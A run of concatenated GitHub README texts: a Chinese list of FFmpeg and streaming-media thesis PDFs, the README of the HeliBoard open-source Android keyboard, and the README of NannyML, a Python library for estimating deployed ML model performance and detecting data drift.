[基于FFmpeg的高清实时直播系统设计与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EFFmpeg%E7%9A%84%E9%AB%98%E6%B8%85%E5%AE%9E%E6%97%B6%E7%9B%B4%E6%92%AD%E7%B3%BB%E7%BB%9F%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) [基于H.264与H.265的低延时视频监控系统的设计与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EH.264%E4%B8%8EH.265%E7%9A%84%E4%BD%8E%E5%BB%B6%E6%97%B6%E8%A7%86%E9%A2%91%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) [基于H.265的无线视频监控系统设计与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EH.265%E7%9A%84%E6%97%A0%E7%BA%BF%E8%A7%86%E9%A2%91%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) [基于H.265的视频教育系统的设计与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EH.265%E7%9A%84%E8%A7%86%E9%A2%91%E6%95%99%E8%82%B2%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) [基于Hadoop的视频转码优化的研究](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8EHadoop%E7%9A%84%E8%A7%86%E9%A2%91%E8%BD%AC%E7%A0%81%E4%BC%98%E5%8C%96%E7%9A%84%E7%A0%94%E7%A9%B6.pdf) [基于RTMP协议的流媒体系统的设计实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8ERTMP%E5%8D%8F%E8%AE%AE%E7%9A%84%E6%B5%81%E5%AA%92%E4%BD%93%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%AE%BE%E8%AE%A1%E5%AE%9E%E7%8E%B0.pdf) [基于RTMP的高清流媒体直播点播封装技术的研究与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8ERTMP%E7%9A%84%E9%AB%98%E6%B8%85%E6%B5%81%E5%AA%92%E4%BD%93%E7%9B%B4%E6%92%AD%E7%82%B9%E6%92%AD%E5%B0%81%E8%A3%85%E6%8A%80%E6%9C%AF%E7%9A%84%E7%A0%94%E7%A9%B6%E4%B8%8E%E5%AE%9E%E7%8E%B0.caj) [基于RTSP协议的iOS视频播放器的设计与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8ERTSP%E5%8D%8F%E8%AE%AE%E7%9A%84iOS%E8%A7%86%E9%A2%91%E6%92%AD%E6%94%BE%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) [基于RTSP协议的多源视音频实时直播系统的设计与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8ERTSP%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%A4%9A%E6%BA%90%E8%A7%86%E9%9F%B3%E9%A2%91%E5%AE%9E%E6%97%B6%E7%9B%B4%E6%92%AD%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) [基于RTSP的H.264实时流媒体传输方案的研究与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8ERTSP%E7%9A%84H.264%E5%AE%9E%E6%97%B6%E6%B5%81%E5%AA%92%E4%BD%93%E4%BC%A0%E8%BE%93%E6%96%B9%E6%A1%88%E7%9A%84%E7%A0%94%E7%A9%B6%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) [基于RTSP的音视频传输系统研究与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8ERTSP%E7%9A%84%E9%9F%B3%E8%A7%86%E9%A2%91%E4%BC%A0%E8%BE%93%E7%B3%BB%E7%BB%9F%E7%A0%94%E7%A9%B6%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) [基于TCP传输的嵌入式流媒体播放系统](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8ETCP%E4%BC%A0%E8%BE%93%E7%9A%84%E5%B5%8C%E5%85%A5%E5%BC%8F%E6%B5%81%E5%AA%92%E4%BD%93%E6%92%AD%E6%94%BE%E7%B3%BB%E7%BB%9F.pdf) [基于ffmpeg的高性能高清流媒体播放器软件设计](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8Effmpeg%E7%9A%84%E9%AB%98%E6%80%A7%E8%83%BD%E9%AB%98%E6%B8%85%E6%B5%81%E5%AA%92%E4%BD%93%E6%92%AD%E6%94%BE%E5%99%A8%E8%BD%AF%E4%BB%B6%E8%AE%BE%E8%AE%A1.pdf) [基于流媒体技术的移动视频直播系统的设计与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E5%9F%BA%E4%BA%8E%E6%B5%81%E5%AA%92%E4%BD%93%E6%8A%80%E6%9C%AF%E7%9A%84%E7%A7%BB%E5%8A%A8%E8%A7%86%E9%A2%91%E7%9B%B4%E6%92%AD%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) [直播聚合平台的设计与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E7%9B%B4%E6%92%AD%E8%81%9A%E5%90%88%E5%B9%B3%E5%8F%B0%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) [音视频信号采集压缩及传输系统的设计与实现](https://github.com/0voice/ffmpeg_develop_doc/blob/main/%E9%9F%B3%E8%A7%86%E9%A2%91%E4%BF%A1%E5%8F%B7%E9%87%87%E9%9B%86%E5%8E%8B%E7%BC%A9%E5%8F%8A%E4%BC%A0%E8%BE%93%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%AE%9E%E7%8E%B0.pdf) <br/> <br/> <h3 >零领工作</h3> --- ##### 实时提供，每周发布北京，上海，广州，深圳，杭州，南京，合肥，武汉，长沙，重庆，成都，西安，厦门的c/c++，golang方向的招聘岗位信息。 包含校招，社招，实习岗位， 面经，八股，简历 <img src="https://img.0voice.com/public/0e59910091576beaebe20f303357edf7.jpg" alt="零领工作" style="width:300px;height:300px;"> <br/> <br/>

2023年，最新音视频学习资料整理，项目（调试可用），ffmpeg命令手册，文章，编解码论文，视频讲解，面试题全套资料

ffmpeg,webrtc,c

Helium314/HeliBoard

# HeliBoard HeliBoard is a privacy-conscious and customizable open-source keyboard, based on AOSP / OpenBoard. Does not use internet permission, and thus is 100% offline. [<img src="https://fdroid.gitlab.io/artwork/badge/get-it-on.png" alt="Get it on F-Droid" height="80">](https://f-droid.org/packages/helium314.keyboard/) [<img src="https://user-images.githubusercontent.com/663460/26973090-f8fdc986-4d14-11e7-995a-e7c5e79ed925.png" alt="Get APK from GitHub" height="80">](https://github.com/Helium314/HeliBoard/releases/latest) [<img src="https://gitlab.com/IzzyOnDroid/repo/-/raw/master/assets/IzzyOnDroid.png" alt="Get it on IzzyOnDroid" height="80">](https://apt.izzysoft.de/fdroid/index/apk/helium314.keyboard) ## Table of Contents - [Features](#features) * [FAQ / Common Issues](#faq--common-issues) * [Hidden Functionality](#hidden-functionality) - [Contributing](#contributing-) * [Reporting Issues](#reporting-issues) * [Translations](#translations) * [Dictionary Creation](#dictionary-creation) * [Code Contribution](CONTRIBUTING.md) - [To-do](#to-do) - [License](#license) - [Credits](#credits) # Features <ul> <li>Add dictionaries for suggestions and spell check</li> <ul> <li>build your own, or get them <a href="https://codeberg.org/Helium314/aosp-dictionaries#dictionaries">here</a>, or in the <a href="https://codeberg.org/Helium314/aosp-dictionaries#experimental-dictionaries">experimental</a> section (quality may vary)</li> <li>additional dictionaries for emojis or scientific symbols can be used to provide suggestions (similar to "emoji search")</li> <li>note that for Korean layouts, suggestions only work using <a href="https://github.com/openboard-team/openboard/commit/83fca9533c03b9fecc009fc632577226bbd6301f">this dictionary</a>, the tools in the dictionary repository are not able to create working dictionaries</li> </ul> <li>Customize keyboard themes (style, colors and background image)</li> <ul> <li>can follow the system's day/night setting on Android 10+ (and on some versions of Android 9)</li> <li>can follow dynamic colors for Android 12+</li> </ul> <li>Customize keyboard <a href="https://github.com/Helium314/HeliBoard/blob/main/layouts.md">layouts</a> (only available when disabling <i>use system languages</i>)</li> <li>Customize special layouts, like symbols, number, or functional key layout</li> <li>Multilingual typing</li> <li>Glide typing (<i>only with closed source library</i> ☹️)</li> <ul> <li>library not included in the app, as there is no compatible open source library available</li> <li>can be extracted from GApps packages ("<i>swypelibs</i>"), or downloaded <a href="https://github.com/erkserkserks/openboard/tree/46fdf2b550035ca69299ce312fa158e7ade36967/app/src/main/jniLibs">here</a> (click on the file and then "raw" or the tiny download button)</li> </ul> <li>Clipboard history</li> <li>One-handed mode</li> <li>Split keyboard (only available if the screen is large enough)</li> <li>Number pad</li> <li>Backup and restore your settings and learned word / history data</li> </ul> ## FAQ / Common Issues * __Add a dictionary__: First download the dictionary file, e.g. from [here](https://codeberg.org/Helium314/aosp-dictionaries#dictionaries). Then go to language settings, click on the language, then on `+` next to _dictionary_ the _add_ and select the file. Alternatively you can open a `.dict` file in a file explorer with HeliBoard and then select the language. Note that the latter method does not work with all file explorers. * __Emoji search__: You can get addon dictionaries for emoji suggestions in the [dictionaries repo](https://codeberg.org/Helium314/aosp-dictionaries). An actual search function does not exist yet. * __Cannot switch choose layout__: This is only possible when _use system languages_ is disabled. You can select the layout when tapping on the language. * __How to customize layout__: Go to layout selection and use the `+` button, then you can add a custom layout, either from a file or you can copy and edit an existing layout. * __No suggestions for some language__: Check [dictionaries repo](https://codeberg.org/Helium314/aosp-dictionaries) whether a dictionary is available. If there is one, download it and add it in the language settings for this language. * __No suggestions in some app / text field__: This app respects the [no suggestions flag](https://developer.android.com/reference/android/text/InputType#TYPE_TEXT_FLAG_NO_SUGGESTIONS) set by some input fields, i.e. the developer does not want you to see suggestions here. Best do in issue report for that app if you think this behavior is wrong. Alternatively you can enable the _always show suggestions_ setting that overrides the _no suggestions_ flag. * __Multilingual typing__ (type in multiple languages without switching manually): Enable in _Languages & Layouts_, select the main language and tap the `+` button next to _multilingual typing_ to add a language. Note that the selection is limited to languages with the same script as the main language, and to languages that have a dictionary (see above for how to add). * __How to enable glide typing__: There is no glide typing built into this app, but you can load compatible libraries: Go to advanced settings -> _load gesture typing library_ and point to a file (setting not available in _nouserlib_ version). You can extract the file from GApps packages ("_swypelibs_"), or download one [here](https://github.com/erkserkserks/openboard/tree/master/app/src/main/jniLibs). Make sure to use the correct version (app will tell you in the dialog to load the library). * __Glide typing is not working after loading a library__: Possibly the download was corrupted, or you downloaded the wrong file. If you get a "_unknown file_" confirmation popup, it is likely you are not using the correct file (or you might be using a different version of the library). In rare cases, there might be crashes when the file is not in internal storage, or some [Samsung-specific problems](https://stackoverflow.com/a/75286899). * __German layout with / without umlauts__: _German (Germany)_ layout has umlauts, _German_ layout doesn't * __Spell checker is not checking all languages in multilingual typing__: Make sure you actually enabled HeliBoard spell checker. Usually it can be found in System Settings -> System -> Languages -> Advanced -> Spell Checker, but this may depend on Android version. * __Words added to Gboard dictionary are not suggested__: Gboard uses its own dictionary instead of the system's personal dictionary. See [here](https://github.com/Helium314/HeliBoard/issues/500#issuecomment-2032292161) for how to export the words. * __What is the _nouserlib_ version?__: The normal version (_release_) allows the user to provide a library for glide typing, while the _nouserlib_ version does not. Running code that isn't supplied with the app is _dynamic code loading_, which is a security risk. Android Studio warns about this: > Dynamically loading code from locations other than the application's library directory or the Android platform's built-in library directories is dangerous, as there is an increased risk that the code could have been tampered with. Applications should use loadLibrary when possible, which provides increased assurance that libraries are loaded from one of these safer locations. Application developers should use the features of their development environment to place application native libraries into the lib directory of their compiled APKs. The app checks the SHA256 checksum of the library and warns the user if it doesn't match with known library versions. A mismatch indicates the library was modified, but may also occur if the user intentionally provides a different library than expected (e.g. a self-built variant). Note that if the the app is installed as a system app, both versions have access to the system glide typing library (if it is installed). * __App crashing when using as system app__: This happens if you do not install the app, but just copy the APK. Then the app's own library is not extracted from the APK, and not accessible to the app. You will need tp either install the app over itself, or provide a library. ## Hidden Functionality Features that may go unnoticed, and further potentially useful information * Long-pressing toolbar keys results in additional functionality: clipboard -> paste, move left/right -> move full left/right, move up/down -> page up/down, copy -> copy all, select word -> select all, undo <-> redo * Long-press the Comma-key to access Clipboard View, Emoji View, One-handed Mode, Settings, or Switch Language: * Emoji View and Language Switch will disappear if you have the corresponding key enabled; * For some layouts it\'s not the Comma-key, but the key at the same position (e.g. it\'s `q` for Dvorak layout). * When incognito mode is enabled, no words will be learned, and no emojis will be added to recents. * Sliding key input: Swipe from shift or symbol key to another key. This will enter a single uppercase key or symbol and return to the previous keyboard. * Hold shift or symbol key, press one or more keys, and then release shift or symbol key to return to the previous keyboard. * Long-press a suggestion in the suggestion strip to show more suggestions, and a delete button to remove this suggestion. * Swipe up from a suggestion to open more suggestions, and release on the suggestion to select it. * Long-press an entry in the clipboard history to pin it (keep it in clipboard until you unpin). * Swipe left in clipboard view to remove an entry (except when it's pinned) * Select text and press shift to switch between uppercase, lowercase and capitalize words * You can add dictionaries by opening the file * This only works with _content-uris_ and not with _file-uris_, meaning that it may not work with some file explorers. * Not really a feature, but you can restart the keyboard by going to the settings and swiping it away from recents * _Debug mode / debug APK_ * Long-press a suggestion in the suggestion strip twice to show the source dictionary. * When using debug APK, you can find _Debug Settings_ within the _Advanced Preferences_, though the usefulness is limited except for dumping dictionaries into the log. * For a release APK, you need to tap the version in _About_ several times, then you can find debug settings in _Advanced Preferences_. * When enabling _Show suggestion infos_, suggestions will have some tiny numbers on top showing some internal score and source dictionary. * In the event of an application crash, you will be prompted whether you want the crash logs when you open the Settings. * When using multilingual typing, space bar will show an confidence value used for determining the currently used language. * For users doing manual backups with root access: Starting at Android 7, some files and the main shared preferences file are not in the default location, because the app is using [device protected storage](https://developer.android.com/reference/android/content/Context#createDeviceProtectedStorageContext()). This is necessary so the settings and layout files can be read before the device is unlocked, e.g. at boot. The files are usually located in `/data/user_de/0/<package_id>/`, though the location may depend on the device and Android version. # Contributing ❤ ## Reporting Issues Whether you encountered a bug, or want to see a new feature in HeliBoard, you can contribute to the project by opening a new issue [here](https://github.com/Helium314/HeliBoard/issues). Your help is always welcome! Before opening a new issue, be sure to check the following: - **Does the issue already exist?** Make sure a similar issue has not been reported by browsing [existing issues](https://github.com/Helium314/HeliBoard/issues?q=). Please search open and closed issues. - **Is the issue still relevant?** Make sure your issue is not already fixed in the latest version of HeliBoard. - **Is it a single topic?** If you want to suggest multiple things, open multiple issues. - **Did you use the issue template?** It is important to make life of our kind contributors easier by avoiding issues that miss key information to their resolution. Note that issues that that ignore part of the issue template will likely get treated with very low priority, as often they are needlessly hard to read or understand (e.g. huge screenshots, not providing a proper description, or addressing multiple topics). If you're interested, you can read the following useful text about effective bug reporting (a bit longer read): https://www.chiark.greenend.org.uk/~sgtatham/bugs.html ## Translations Translations can be added using [Weblate](https://translate.codeberg.org/projects/heliboard/). You will need an account to update translations and add languages. Add the language you want to translate to in Languages -> Manage translated languages in the top menu bar. Updating translations in a PR will not be accepted, as it may cause conflicts with Weblate translations. ## Dictionary Creation There will not be any further dictionaries bundled in this app. However, you can add dictionaries to the [dictionaries repository](https://codeberg.org/Helium314/aosp-dictionaries). To create or update a dictionary for your language, you can use [this tool](https://github.com/remi0s/aosp-dictionary-tools). You will need a wordlist, as described [here](https://codeberg.org/Helium314/aosp-dictionaries/src/branch/main/wordlists/sample.combined) and in the repository readme. ## Code Contribution See [Contribution Guidelines](CONTRIBUTING.md) # To-do __Planned features and improvements:__ * Improve support for modifier keys (_alt_, _ctrl_, _meta_ and _fn_), some ideas: * keep modifier keys on with long press * keep modifier keys on until the next key press * use sliding input * Less complicated addition of new keyboard languages (e.g. #519) * Additional and customizable key swipe functionality * Some functionality will not be possible when using glide typing * Ability to enter all emojis independent of Android version (optional, #297) * Add and enable emoji dictionaries by default (if available for language) * Clearer / more intuitive arrangement of settings * Maybe hide some less used settings by default (similar to color customization) * Customizable currency keys * Ability to export/import (share) custom colors * Make use of the `.com` key in URL fields (currently only available for tablets) * With language-dependent TLDs * Internal cleanup (a lot of over-complicated and convoluted code) * [Bug fixes](https://github.com/Helium314/HeliBoard/issues?q=is%3Aissue+is%3Aopen+label%3Abug) __What will _not_ be added:__ * Material 3 (not worth adding 1.5 MB to app size) * Dictionaries for more languages (you can still download them) * Anything that requires additional permissions, unless there is a very good reason # License HeliBoard (as a fork of OpenBoard) is licensed under GNU General Public License v3.0. > Permissions of this strong copyleft license are conditioned on making available complete source code of licensed works and modifications, which include larger works using a licensed work, under the same license. Copyright and license notices must be preserved. Contributors provide an express grant of patent rights. See repo's [LICENSE](/LICENSE-GPL-3) file. Since the app is based on Apache 2.0 licensed AOSP Keyboard, an [Apache 2.0](LICENSE-Apache-2.0) license file is provided. The icon is licensed under [Creative Commons BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/). A [license file](LICENSE-CC-BY-SA-4.0) is also included. # Credits - Icon by [Fabian OvrWrt](https://github.com/FabianOvrWrt) with contributions from [The Eclectic Dyslexic](https://github.com/the-eclectic-dyslexic) - [OpenBoard](https://github.com/openboard-team/openboard) - [AOSP Keyboard](https://android.googlesource.com/platform/packages/inputmethods/LatinIME/) - [LineageOS](https://review.lineageos.org/admin/repos/LineageOS/android_packages_inputmethods_LatinIME) - [Simple Keyboard](https://github.com/rkkr/simple-keyboard) - [Indic Keyboard](https://gitlab.com/indicproject/indic-keyboard) - [FlorisBoard](https://github.com/florisboard/florisboard/) - Our [contributors](https://github.com/Helium314/HeliBoard/graphs/contributors)

Customizable and privacy-conscious open-source keyboard

hongchacha/cartoon

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NannyML/nannyml

<p align="center"> <img src="https://raw.githubusercontent.com/NannyML/nannyml/main/media/thumbnail-4.png"> </p> <p align="center"> <a href="https://pypi.org/project/nannyml/"> <img src="https://img.shields.io/pypi/v/nannyml.svg" /> </a> <a href="https://anaconda.org/conda-forge/nannyml"> <img src="https://anaconda.org/conda-forge/nannyml/badges/version.svg" /> </a> <a href="https://pypi.org/project/nannyml/"> <img src="https://img.shields.io/pypi/pyversions/nannyml.svg" /> </a> <a href="https://github.com/nannyml/nannyml/actions/workflows/dev.yml"> <img src="https://github.com/NannyML/nannyml/actions/workflows/dev.yml/badge.svg" /> </a> <a href='https://nannyml.readthedocs.io/en/main/?badge=main'> <img src='https://readthedocs.org/projects/nannyml/badge/?version=main' alt='Documentation Status' /> </a> <img alt="PyPI - License" src="https://img.shields.io/pypi/l/nannyml?color=green" /> <br /> <br /> <a href="https://www.producthunt.com/posts/nannyml?utm_source=badge-top-post-badge&utm_medium=badge&utm_souce=badge-nannyml" target="_blank"> <img src="https://api.producthunt.com/widgets/embed-image/v1/top-post-badge.svg?post_id=346412&theme=light&period=daily" alt="NannyML - OSS&#0032;Python&#0032;library&#0032;for&#0032;detecting&#0032;silent&#0032;ML&#0032;model&#0032;failure | Product Hunt" style="width: 250px; height: 54px;" width="250" height="54" /> </a> </p> <p align="center"> <strong> <a href="https://nannyml.com/">Website</a> • <a href="https://nannyml.readthedocs.io/en/stable/">Docs</a> • <a href="https://join.slack.com/t/nannymlbeta/shared_invite/zt-16fvpeddz-HAvTsjNEyC9CE6JXbiM7BQ">Community Slack</a> </strong> </p> <p align="center"> <img src="https://github.com/NannyML/nannyml/blob/main/media/estimate-performance-regression.gif?raw=true" alt="animated"> </p> # 💡 What is NannyML? NannyML is an open-source python library that allows you to **estimate post-deployment model performance** (without access to targets), detect data drift, and intelligently link data drift alerts back to changes in model performance. Built for data scientists, NannyML has an easy-to-use interface, interactive visualizations, is completely model-agnostic and currently supports all tabular use cases, classification and **regression**. The core contributors of NannyML have researched and developed multiple novel algorithms for estimating model performance: [confidence-based performance estimation (CBPE)](https://nannyml.readthedocs.io/en/stable/how_it_works/performance_estimation.html#confidence-based-performance-estimation-cbpe) and [direct loss estimation (DLE)](https://nannyml.readthedocs.io/en/stable/how_it_works/performance_estimation.html#direct-loss-estimation-dle). The nansters also invented a new approach to detect [multivariate data drift](https://nannyml.readthedocs.io/en/stable/how_it_works/multivariate_drift.html#data-reconstruction-with-pca) using PCA-based data reconstruction. If you like what we are working on, be sure to become a Nanster yourself, join our [community slack](https://join.slack.com/t/nannymlbeta/shared_invite/zt-16fvpeddz-HAvTsjNEyC9CE6JXbiM7BQ) <img src="https://raw.githubusercontent.com/NannyML/nannyml/main/media/slack.png" height='15'> and support us with a GitHub <img src="https://raw.githubusercontent.com/NannyML/nannyml/main/media/github.png" height='15'> star ⭐. # ☔ Why use NannyML? NannyML closes the loop with performance monitoring and post deployment data science, empowering data scientist to quickly understand and **automatically detect silent model failure**. By using NannyML, data scientists can finally maintain complete visibility and trust in their deployed machine learning models. Allowing you to have the following benefits: - End sleepless nights caused by not knowing your model performance 😴 - Analyse data drift and model performance **over time** - Discover the **root cause** to why your models are not performing as expected - **No alert fatigue!** React only when necessary if model performance is impacted - **Painless** setup in any environment # 🧠 GO DEEP | NannyML Resources | Description | | --------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- | | ☎️ **[NannyML 101]** | New to NannyML? Start here! | | 🔮 **[Performance estimation]** | How the magic works. | | 🌍 **[Real world example]** | Take a look at a real-world example of NannyML. | | 🔑 **[Key concepts]** | Glossary of key concepts we use. | | 🔬 **[Technical reference]** | Monitor the performance of your ML models. | | 🔎 **[Blog]** | Thoughts on post-deployment data science from the NannyML team. | | 📬 **[Newsletter]** | All things post-deployment data science. Subscribe to see the latest papers and blogs. | | 💎 **[New in v0.10.7]** | New features, bug fixes. | | 🧑‍💻 **[Contribute]** | How to contribute to the NannyML project and codebase. | | <img src="https://raw.githubusercontent.com/NannyML/nannyml/main/media/slack.png" height='15'> **[Join slack]** | Need help with your specific use case? Say hi on slack! | [nannyml 101]: https://nannyml.readthedocs.io/en/stable/ [performance estimation]: https://nannyml.readthedocs.io/en/stable/how_it_works/performance_estimation.html [key concepts]: https://nannyml.readthedocs.io/en/stable/glossary.html [technical reference]: https://nannyml.readthedocs.io/en/stable/nannyml/modules.html [new in v0.10.7]: https://github.com/NannyML/nannyml/releases/latest/ [real world example]: https://nannyml.readthedocs.io/en/stable/examples/california_housing.html [blog]: https://www.nannyml.com/blog [newsletter]: https://mailchi.mp/022c62281d13/postdeploymentnewsletter [join slack]: https://join.slack.com/t/nannymlbeta/shared_invite/zt-16fvpeddz-HAvTsjNEyC9CE6JXbiM7BQ [contribute]: https://github.com/NannyML/nannyml/blob/main/CONTRIBUTING.rst # 🔱 Features ### 1. Performance estimation and monitoring When the actual outcome of your deployed prediction models is delayed, or even when post-deployment target labels are completely absent, you can use NannyML's [CBPE-algorithm](https://nannyml.readthedocs.io/en/stable/how_it_works/performance_estimation.html#confidence-based-performance-estimation-cbpe) to **estimate model performance** for classification or NannyML's [DLE-algorithm](https://nannyml.readthedocs.io/en/stable/how_it_works/performance_estimation.html#direct-loss-estimation-dle) for regression. These algorithms provide you with any estimated metric you would like, i.e. ROC AUC or RSME. Rather than estimating the performance of future model predictions, CBPE and DLE estimate the expected model performance of the predictions made at inference time. <p><img src="https://raw.githubusercontent.com/NannyML/nannyml/main/docs/_static/tutorials/performance_calculation/regression/tutorial-performance-calculation-regression-RMSE.svg"></p> NannyML can also **track the realised performance** of your machine learning model once targets are available. ### 2. Data drift detection To detect **multivariate feature drift** NannyML uses [PCA-based data reconstruction](https://nannyml.readthedocs.io/en/stable/how_it_works/multivariate_drift.html#data-reconstruction-with-pca). Changes in the resulting reconstruction error are monitored over time and data drift alerts are logged when the reconstruction error in a certain period exceeds a threshold. This threshold is calculated based on the reconstruction error observed in the reference period. <p><img src="https://raw.githubusercontent.com/NannyML/nannyml/main/docs/_static/how-it-works/butterfly-multivariate-drift-pca.svg"></p> NannyML utilises statistical tests to detect **univariate feature drift**. We have just added a bunch of new univariate tests including Jensen-Shannon Distance and L-Infinity Distance, check out the [comprehensive list](https://nannyml.readthedocs.io/en/stable/how_it_works/univariate_drift_detection.html#methods-for-continuous-features). The results of these tests are tracked over time, properly corrected to counteract multiplicity and overlayed on the temporal feature distributions. (It is also possible to visualise the test-statistics over time, to get a notion of the drift magnitude.) <p><img src="https://raw.githubusercontent.com/NannyML/nannyml/main/docs/_static/drift-guide-joyplot-distance_from_office.svg"><img src="docs/_static/drift-guide-stacked-salary_range.svg"></p> NannyML uses the same statistical tests to detected **model output drift**. <p><img src="https://raw.githubusercontent.com/NannyML/nannyml/main/docs/_static/drift-guide-y_pred.svg"></p> **Target distribution drift** can also be monitored using the same statistical tests. Bear in mind that this operation requires the presence of actuals. <p><img src="https://raw.githubusercontent.com/NannyML/nannyml/main/docs/_static/drift-guide-work_home_actual.svg"></p> ### 3. Intelligent alerting Because NannyML can estimate performance, it is possible to weed out data drift alerts that do not impact expected performance, combatting alert fatigue. Besides linking data drift issues to drops in performance it is also possible to prioritise alerts according to other criteria using NannyML's Ranker. # 🚀 Getting started ### Install NannyML NannyML depends on [LightGBM](https://github.com/microsoft/LightGBM). This might require you to set install additional OS-specific binaries. You can follow the [official installation guide](https://lightgbm.readthedocs.io/en/latest/Installation-Guide.html). From PyPI: ```bash pip install nannyml ``` From Conda: ```bash conda install -c conda-forge nannyml ``` Running via [Docker](https://hub.docker.com/r/nannyml/nannyml): ```bash docker -v /local/config/dir/:/config/ run nannyml/nannyml nml run ``` **Here be dragons!** Use the latest development version of NannyML at your own risk: ```bash python -m pip install git+https://github.com/NannyML/nannyml ``` ### Quick Start _The following snippet is based on our [latest release](https://github.com/NannyML/nannyml/releases/latest)_. ```python import nannyml as nml import pandas as pd from IPython.display import display # Load real-world data: reference_df, analysis_df, _ = nml.load_us_census_ma_employment_data() display(reference_df.head()) display(analysis_df.head()) # Choose a chunker or set a chunk size: chunk_size = 5000 # initialize, specify required data columns, fit estimator and estimate: estimator = nml.CBPE( problem_type='classification_binary', y_pred_proba='predicted_probability', y_pred='prediction', y_true='employed', metrics=['roc_auc'], chunk_size=chunk_size, ) estimator = estimator.fit(reference_df) estimated_performance = estimator.estimate(analysis_df) # Show results: figure = estimated_performance.plot() figure.show() # Define feature columns: features = ['AGEP', 'SCHL', 'MAR', 'RELP', 'DIS', 'ESP', 'CIT', 'MIG', 'MIL', 'ANC', 'NATIVITY', 'DEAR', 'DEYE', 'DREM', 'SEX', 'RAC1P'] # Initialize the object that will perform the Univariate Drift calculations: univariate_calculator = nml.UnivariateDriftCalculator( column_names=features, chunk_size=chunk_size ) univariate_calculator.fit(reference_df) univariate_drift = univariate_calculator.calculate(analysis_df) # Get features that drift the most with count-based ranker: alert_count_ranker = nml.AlertCountRanker() alert_count_ranked_features = alert_count_ranker.rank(univariate_drift) display(alert_count_ranked_features.head()) # Plot drift results for top 3 features: figure = univariate_drift.filter(column_names=['RELP','AGEP', 'SCHL']).plot() figure.show() # Compare drift of a selected feature with estimated performance uni_drift_AGEP_analysis = univariate_drift.filter(column_names=['AGEP'], period='analysis') figure = estimated_performance.compare(uni_drift_AGEP_analysis).plot() figure.show() # Plot distribution changes of the selected features: figure = univariate_drift.filter(period='analysis', column_names=['RELP','AGEP', 'SCHL']).plot(kind='distribution') figure.show() # Get target data, calculate, plot and compare realized performance with estimated performance: _, _, analysis_targets_df = nml.load_us_census_ma_employment_data() analysis_with_targets_df = pd.concat([analysis_df, analysis_targets_df], axis=1) display(analysis_with_targets_df.head()) performance_calculator = nml.PerformanceCalculator( problem_type='classification_binary', y_pred_proba='predicted_probability', y_pred='prediction', y_true='employed', metrics=['roc_auc'], chunk_size=chunk_size) performance_calculator.fit(reference_df) calculated_performance = performance_calculator.calculate(analysis_with_targets_df) figure = estimated_performance.filter(period='analysis').compare(calculated_performance).plot() figure.show() ``` # 📖 Documentation - Performance monitoring - [Estimated performance](https://nannyml.readthedocs.io/en/main/tutorials/performance_estimation.html) - [Realized performance](https://nannyml.readthedocs.io/en/main/tutorials/performance_calculation.html) - Drift detection - [Multivariate feature drift](https://nannyml.readthedocs.io/en/main/tutorials/detecting_data_drift/multivariate_drift_detection.html) * [Univariate feature drift](https://nannyml.readthedocs.io/en/main/tutorials/detecting_data_drift/univariate_drift_detection.html) # 🦸 Contributing and Community We want to build NannyML together with the community! The easiest to contribute at the moment is to propose new features or log bugs under [issues](https://github.com/NannyML/nannyml/issues). For more information, have a look at [how to contribute](CONTRIBUTING.rst). # 🙋 Get help The best place to ask for help is in the [community slack](https://join.slack.com/t/nannymlbeta/shared_invite/zt-16fvpeddz-HAvTsjNEyC9CE6JXbiM7BQ). Feel free to join and ask questions or raise issues. Someone will definitely respond to you. # 🥷 Stay updated If you want to stay up to date with recent changes to the NannyML library, you can subscribe to our [release notes](https://nannyml.substack.com). For thoughts on post-deployment data science from the NannyML team, feel free to visit our [blog](https://www.nannyml.com/blog). You can also sing up for our [newsletter](https://mailchi.mp/022c62281d13/postdeploymentnewsletter), which brings together the best papers, articles, news, and open-source libraries highlighting the ML challenges after deployment. # 📍 Roadmap Curious what we are working on next? 